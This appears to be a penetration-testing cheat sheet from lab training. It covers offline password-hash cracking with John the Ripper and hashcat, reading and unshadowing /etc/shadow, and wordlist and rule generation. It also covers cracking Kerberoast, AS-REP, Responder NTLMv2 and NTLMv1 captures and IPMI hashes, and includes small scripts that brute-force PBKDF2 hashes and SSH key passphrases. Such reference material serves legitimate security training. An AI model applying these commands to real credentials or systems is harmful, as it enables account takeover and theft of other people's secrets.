Online Databases
LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
Pull Hashes Decryption From Online Sources
Unix password
/etc/shadow
$6$wBRzy$...SNIP...x9cDWUxW1
$<type>$<salt>$<hashed>
Cryptographic Hash Algorithm
Crack /etc/shadow hashes
Copy cat hash
user:$1$CrackMe$U93**********UP9iUxGVIvq/:18439:0:99999:7:::
Copy john hash --wordlist=/usr/share/wordlists/rockyou.txt
Hash Identifier
Online:
Copy root:x:0:0:root:/root:/bin/bash
See Privilege escalation - Linux
/etc/passwd
Copy $ cat /etc/passwd
...SNIP...
htb-student:x:1000:1000:,,,:/home/htb-student:/bin/bash
<cmd executed after logging in>
Cracking Linux Credentials
Unshadow
Copy $ sudo cp /etc/passwd /tmp/passwd.bak
$ sudo cp /etc/shadow /tmp/shadow.bak
$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
Copy hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
Create custom password list
PassGAN
Bash
Copy for i in $(cat pwlist.txt); do echo $i; echo ${i}2019; echo ${i}2020; done > pwd.txt
kwprocessor
Hashcat generating rule-based Wordlist
Copy $ cat custom.rule
:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@
Copy $ hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
$ cat mut_password.list
password
Password
passw0rd
Passw0rd
p@ssword
P@ssword
P@ssw0rd
password!
Password!
passw0rd!
p@ssword!
Passw0rd!
P@ssword!
p@ssw0rd!
P@ssw0rd!
Hashcat Existing Rules
Copy $ ls /usr/share/hashcat/rules/
best64.rule specific.rule
combinator.rule T0XlC-insert_00-99_1950-2050_toprules_0_F.rule
d3ad0ne.rule T0XlC-insert_space_and_special_0_F.rule
dive.rule T0XlC-insert_top_100_passwords_1_G.rule
generated2.rule T0XlC.rule
generated.rule T0XlCv1.rule
hybrid toggles1.rule
Incisive-leetspeak.rule toggles2.rule
InsidePro-HashManager.rule toggles3.rule
InsidePro-PasswordsPro.rule toggles4.rule
leetspeak.rule toggles5.rule
oscommerce.rule unix-ninja-leetspeak.rule
rockyou-30000.rule
OneRuleToRuleThemAll
Copy hashcat --attack-mode 0 --rules-file OneRuleToRuleThemAll.rule --hash-type 1000 hash /usr/share/wordlists/rockyou.txt
Crunch
Cupp
CeWL
Copy $ cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
$ wc -l inlane.wordlist
326
Improve the custom wordlist
As we all know few password are just simple words. Many use numbers and special characters. To improve our password list we can use john the ripper. We can input our own rules, or we can just use the standard john-the-ripper rules
Copy john ---wordlist=inlane.wordlist --rules --stdout > wordlist-modified.txt
Source: https://github.com/lamontns/pentest/blob/master/password-related-attacks/generating-custom-password-lists.md
Rainbow Tables - SHA1
RainbowCrack
VM - VMWare and VirtualBox encryption
John The Ripper
Copy $ john --format=<hash_type> <hash or hash_file>
John will output the cracked passwords to the console and the file "john.pot" (~/.john/john.pot
) to the current user's home directory.
john --format=afs hashes_to_crack.txt
AFS (Andrew File System) password hashes
john --format=bfegg hashes_to_crack.txt
bfegg hashes used in Eggdrop IRC bots
john --format=bf hashes_to_crack.txt
Blowfish-based crypt(3) hashes
john --format=bsdi hashes_to_crack.txt
john --format=crypt hashes_to_crack.txt
Traditional Unix crypt(3) hashes
john --format=des hashes_to_crack.txt
Traditional DES-based crypt(3) hashes
john --format=dmd5 hashes_to_crack.txt
DMD5 (Dragonfly BSD MD5) password hashes
john --format=dominosec hashes_to_crack.txt
IBM Lotus Domino 6/7 password hashes
john --format=episerver hashes_to_crack.txt
EPiServer SID (Security Identifier) password hashes
john --format=hdaa hashes_to_crack.txt
hdaa password hashes used in Openwall GNU/Linux
john --format=hmac-md5 hashes_to_crack.txt
john --format=hmailserver hashes_to_crack.txt
hmailserver password hashes
john --format=ipb2 hashes_to_crack.txt
Invision Power Board 2 password hashes
john --format=krb4 hashes_to_crack.txt
Kerberos 4 password hashes
john --format=krb5 hashes_to_crack.txt
Kerberos 5 password hashes
john --format=LM hashes_to_crack.txt
LM (Lan Manager) password hashes
john --format=lotus5 hashes_to_crack.txt
Lotus Notes/Domino 5 password hashes
john --format=mscash hashes_to_crack.txt
john --format=mscash2 hashes_to_crack.txt
MS Cache v2 password hashes
john --format=mschapv2 hashes_to_crack.txt
MS CHAP v2 password hashes
john --format=mskrb5 hashes_to_crack.txt
MS Kerberos 5 password hashes
john --format=mssql05 hashes_to_crack.txt
MS SQL 2005 password hashes
john --format=mssql hashes_to_crack.txt
john --format=mysql-fast hashes_to_crack.txt
MySQL fast password hashes
john --format=mysql hashes_to_crack.txt
john --format=mysql-sha1 hashes_to_crack.txt
MySQL SHA1 password hashes
john --format=netlm hashes_to_crack.txt
NETLM (NT LAN Manager) password hashes
john --format=netlmv2 hashes_to_crack.txt
NETLMv2 (NT LAN Manager version 2) password hashes
john --format=netntlm hashes_to_crack.txt
NETNTLM (NT LAN Manager) password hashes
john --format=netntlmv2 hashes_to_crack.txt
NETNTLMv2 (NT LAN Manager version 2) password hashes
john --format=nethalflm hashes_to_crack.txt
NEThalfLM (NT LAN Manager) password hashes
john --format=md5ns hashes_to_crack.txt
md5ns (MD5 namespace) password hashes
john --format=nsldap hashes_to_crack.txt
nsldap (OpenLDAP SHA) password hashes
john --format=ssha hashes_to_crack.txt
ssha (Salted SHA) password hashes
john --format=nt hashes_to_crack.txt
NT (Windows NT) password hashes
john --format=openssha hashes_to_crack.txt
OPENSSH private key password hashes
john --format=oracle11 hashes_to_crack.txt
Oracle 11 password hashes
john --format=oracle hashes_to_crack.txt
john --format=pdf hashes_to_crack.txt
PDF (Portable Document Format) password hashes
john --format=phpass-md5 hashes_to_crack.txt
PHPass-MD5 (Portable PHP password hashing framework) password hashes
john --format=phps hashes_to_crack.txt
john --format=pix-md5 hashes_to_crack.txt
Cisco PIX MD5 password hashes
john --format=po hashes_to_crack.txt
Po (Sybase SQL Anywhere) password hashes
john --format=rar hashes_to_crack.txt
RAR (WinRAR) password hashes
john --format=raw-md4 hashes_to_crack.txt
john --format=raw-md5 hashes_to_crack.txt
john --format=raw-md5-unicode hashes_to_crack.txt
Raw MD5 Unicode password hashes
john --format=raw-sha1 hashes_to_crack.txt
john --format=raw-sha224 hashes_to_crack.txt
Raw SHA224 password hashes
john --format=raw-sha256 hashes_to_crack.txt
Raw SHA256 password hashes
john --format=raw-sha384 hashes_to_crack.txt
Raw SHA384 password hashes
john --format=raw-sha512 hashes_to_crack.txt
Raw SHA512 password hashes
john --format=salted-sha hashes_to_crack.txt
Salted SHA password hashes
john --format=sapb hashes_to_crack.txt
SAP CODVN B (BCODE) password hashes
john --format=sapg hashes_to_crack.txt
SAP CODVN G (PASSCODE) password hashes
john --format=sha1-gen hashes_to_crack.txt
Generic SHA1 password hashes
john --format=skey hashes_to_crack.txt
S/Key (One-time password) hashes
john --format=ssh hashes_to_crack.txt
SSH (Secure Shell) password hashes
john --format=sybasease hashes_to_crack.txt
Sybase ASE password hashes
john --format=xsha hashes_to_crack.txt
xsha (Extended SHA) password hashes
john --format=zip hashes_to_crack.txt
ZIP (WinZip) password hashes
Copy john --wordlist=<wordlist_file> --rules <hash_file>
John - Incremental mode
John - SHA-256
Copy john --format=sha256 hashes_to_crack.txt
John - /etc/shadow - SHA-512
Copy ┌─[xor@parrot]─[~/Téléchargements]
└──╼ $ls
passwd rockyou.txt rockyou.txt.bz2 shadow
┌─[xor@parrot]─[~/Téléchargements]
└──╼ $unshadow passwd shadow > mypasswd
┌─[xor@parrot]─[~/Téléchargements]
└──╼ $john --wordlist=rockyou.txt mypasswd
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (root)
1g 0:00:00:01 DONE (2019-08-21 15:20) 0.9615g/s 123.0p/s 123.0c/s 123.0C/s 123456..diamond
Use the "--show" option to display all of the cracked passwords reliably
Session completed
John - SSH Private Key - RSA
Copy root@Host-001:~/Bureau# vim id_rsa
root@Host-001:~/Bureau# python /usr/share/john/ssh2john.py id_rsa > id_rsa_hash.txt
root@Host-001:~/Bureau# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
John - Windows NTLM
hashdump format = User Name: RID: LM-HASH Value: NT-HASH value
Copy john hash /usr/share/wordlists/rockyou.txt --format=NT
https://weakpass.com/pre-computed
John - ASREPRoast
Copy john.exe --wordlist=C:\path\to\10k-worst-pass.txt C:\path\to\asrephashes.txt
John - Password Safe - psafe3 file
Copy # /opt/tools/john/run/pwsafe2john.py Backup.psafe3 > backup.hash
# john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Hashcat
Hashcat - Generic hash types
Copy hashcat --example-hashes | less
Crunch Wordlist Generator - Create Single Characters
Copy crunch 12 12 -f "/usr/share/crunch/charset.lst" mixalpha-numeric-all -t abracadabra@
With bash:
Copy for i in {1..20}; do echo "password$i"; done
SHA1
Copy echo 'd033e22ae348aeb5660fc2140aec35850c4da997' > admin_hash_sha1.txt
Copy hashcat --hash-type 100 --attack-mode 0 admin_hash_sha1.txt /usr/share/wordlists/rockyou.txt
Wordpress - Phpass - $P$
Copy hashcat -m 400 phpass.hash /usr/share/wordlists/rockyou.txt
sha512crypt $6$, SHA512 (Unix) - /etc/shadow
Copy $6$52450745$k5ka2p8bFuSmoVT1tzOyyuaREkkKBcCNqoDKzYiJL9RaE8yMnPgh2XzzF0NDrUhgrcLwg78xs1w5pJiypEdFX/
Copy hashcat --hash-type 1800 --attack-mode 0 michael.hash /usr/share/wordlists/rockyou.txt
IPMI
General
Copy hashcat -m 7300 ipmi.txt
Copy python3 ipmipwner.py --host 10.129.154.218 -u admin -c python -pW /usr/share/wordlists/rockyou.txt -oH hash -oC crackedHash
HP iLO
Copy hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
Exegol:
Copy hashcat -m 7300 ipmi.txt -a 3 '\?1\?1\?1\?1\?1\?1\?1\?1' -1 '?d?u'
SAM - NT hash
Copy $ sudo vim hashestocrack.txt
64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
184ecdda8cf1dd238d438c4aea4d560d
f7eb9c06fafaa23c4bcf22ba6781c1e2
Copy sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
Online
MD5
Copy hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
Mysql bcrypt Blowfish (Unix) $2*$
Copy echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash
Copy hashcat --hash-type 3200 --attack-mode 0 hash `fzf-wordlists`
NTMLv2 - Responder
Copy [SMB] NTLMv2-SSP Hash : mssqlsvc::WIN-02:1122334455667788:67469E50D72CBD81C0555BA21EBEB8E2:010100000000000000A3B0E53898DA01B9CD8682359BA70F0000000002000800460030004100470001001E00570049004E002D004600490037003800360032004B00420052004F00500004003400570049004E002D004600490037003800360032004B00420052004F0050002E0046003000410047002E004C004F00430041004C000300140046003000410047002E004C004F00430041004C000500140046003000410047002E004C004F00430041004C000700080000A3B0E53898DA0106000400020000000800300030000000000000000000000000300000182E238D049AA0230066AE7B95F47CA65F370AC3AD06C2810BBFBB25BE72ACFD0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00390036000000000000000000
exit
[+] Exiting...
Copy hashcat -m 5600 mssqlsvc_hash passwords.list
Kerberoast - SPN
$krb5tgs$23$*:
RC4 (type 23) encrypted ticket
$krb5tgs$18$*:
AES-256 (Type 18)
While it is possible to crack AES-128 (type 17) and AES-256 (type 18) TGS tickets using Hashcat , it will typically be significantly more time consuming than cracking an RC4 (type 23) encrypted ticket
$krb5tgs$23$
Copy hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
If extracted with Mimikatz - Also see Internal Pentest - Kerberoast
Copy python2.7 kirbi2john.py sqldev.kirbi
This will create a file called crack_file
.
Copy sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Copy hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
$krb5tgs$18$
Copy hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt
ASREPRoast
Copy hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
MsCacheV2 - DDC2
Copy // hashcat format
$DCC2$10240#username#7afec****************6d0c
Copy hashcat64 -a 0 -m 2100 -r /usr/share/hashcat/rules/best64.rule mscachev2.txt passwords\*
Convert NetNTLMv1 to NTLM - PTH or Crack
Online
Hash NT obtained - try to break it
NTLMv1 Multitool
Copy $ python3 ntlmv1-multi/ntlmv1.py --ntlmv1 'DEV$::HTB:11EBE0BFBF241EE1D55DD9F5535254FCAF77876B9D200341:11EBE0BFBF241EE1D55DD9F5535254FCAF77876B9D200341:1122334455667788'
Hashfield Split:
['DEV$', '', 'HTB', '11E<-SNIP->341', '11EBE0BF<-SNIP->876B9D200341', '1122334455667788']
Hostname: HTB
Username: DEV$
Challenge: 1122334455667788
LM Response: 11EBE<-SNIP->200341
NT Response: 11EBE<-SNIP->77876B9D200341
CT1: 11E<-SNIP->41EE1
CT2: D55<-SNIP->254FC
CT3: AF7<-SNIP->00341
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin AF7<-SNIP->00341 1122334455667788
To crack with hashcat create a file with the following contents:
11<-SNIP->EE1:1122334455667788
D5<-SNIP->5254FC:1122334455667788
echo "11EB<-SNIP->E1:1122334455667788">>14000.hash
echo "D55D<-SNIP->254FC:1122334455667788">>14000.hash
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
$ echo "11EB<-SNIP->E1:1122334455667788">>14000.hash
$ echo "D55D<-SNIP->254FC:1122334455667788">>14000.hash
$ hashcat -m 14000 -a 3 -1 DES_full.charset --hex-charset 14000.hash '?1?1?1?1?1?1?1?1'
Other script
Copy $ python deskey_to_ntlm.py --hash dev.hash
[+] CT1 key: 11e<-SNIP->41ee1
[+] CT2 key: d55<-SNIP->1ee1
hashcat -m 14000 des_keys.txt -o des_keys.out -a 3 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 -w 3
$ wget https://raw.githubusercontent.com/brannondorsey/naive-hashcat/refs/heads/master/hashcat-3.6.0/charsets/DES_full.charset
$ hashcat -m 14000 des_keys.txt -o des_keys.out -a 3 -1 DES_full.charset --hex-charset '?1?1?1?1?1?1?1?1' -w 3
pbkdf2
algo : pbkdf2$50000$50
>> 50000 iterations, salt length 50
Hashcat format:
Copy sha256:<iterations>:<salt_b64>:<hash_b64>
Copy # echo -n '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' | base64
OTc5MDcyODBkYzI0ZmU1MTdjNDM0NzViZDIxOGJmYWQ1NmMyNWQ0ZDExMDM3ZDhiNmRhNDQwZWZk
NGQ2OTFhZGZlYWQ0MDMzMGIyYWE2YWFmMWYzMzYyMWQwZDczMjI4ZmMxNg==
# echo -n 'd7cf2c96277dd16d95ed5c33bb524b62' | base64
ZDdjZjJjOTYyNzdkZDE2ZDk1ZWQ1YzMzYmI1MjRiNjI=
# cat emily.hash
sha256:50000:ZDdjZjJjOTYyNzdkZDE2ZDk1ZWQ1YzMzYmI1MjRiNjI=:OTc5MDcyODBkYzI0ZmU1MTdjNDM0NzViZDIxOGJmYWQ1NmMyNWQ0ZDExMDM3ZDhiNmRhNDQwZWZkNGQ2OTFhZGZlYWQ0MDMzMGIyYWE2YWFmMWYzMzYyMWQwZDczMjI4ZmMxNg==
# hashcat -m 10900 emily.hash /usr/share/wordlists/rockyou.txt
Or python script
Copy import hashlib
import binascii
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)
with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
if hash_value == target_hash_bytes:
print(f"Found password: {password}")
return password
print("Password not found.")
return None
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
dictionary_file = '200worstpass.txt'
find_matching_password(dictionary_file, target_hash, salt)
Werkzeug hash
pbkdf2:sha256:600000
Django hash - pbkdf2_sha256$20000$
Copy hashcat -m 10000 --force django.hash /usr/share/wordlists/rockyou.txt
Grafana hashes
Cracking SSH private key
deNaive (script)
Copy require 'open3'
if ARGV.size == 2
password_found = false
File.readlines(ARGV[1], chomp: true).each do |password|
Open3.popen3("ssh-keygen -y -f #{ARGV[0]} -P '#{password}'") { |i,o,e,t|
error = e.read.chomp
if error.empty?
puts "\nThe password is: #{password}"
password_found = true
elsif /incorrect passphrase supplied to decrypt private key/.match?(error)
print '.'
else
puts "Error: #{t.value}"
puts error
end
}
break if password_found
end
else
puts "Usage : ruby #{__FILE__} SSH_KEY WORDLIST"
puts "Example: ruby #{__FILE__} ~/.ssh/id_ed25519_crack /usr/share/wordlists/passwords/richelieu-french-top20000.txt"
end
Copy ruby ssh-bf.rb ~/.ssh/id_ed25519_crack /usr/share/wordlists/passwords/richelieu-french-top20000.txt
John
Copy $ ssh2john ~/.ssh/id_ed25519_crack > /tmp/hash_jtr.txt
$ john /tmp/hash_jtr.txt -w=/usr/share/wordlists/passwords/richelieu-french-top20000.txt --format=ssh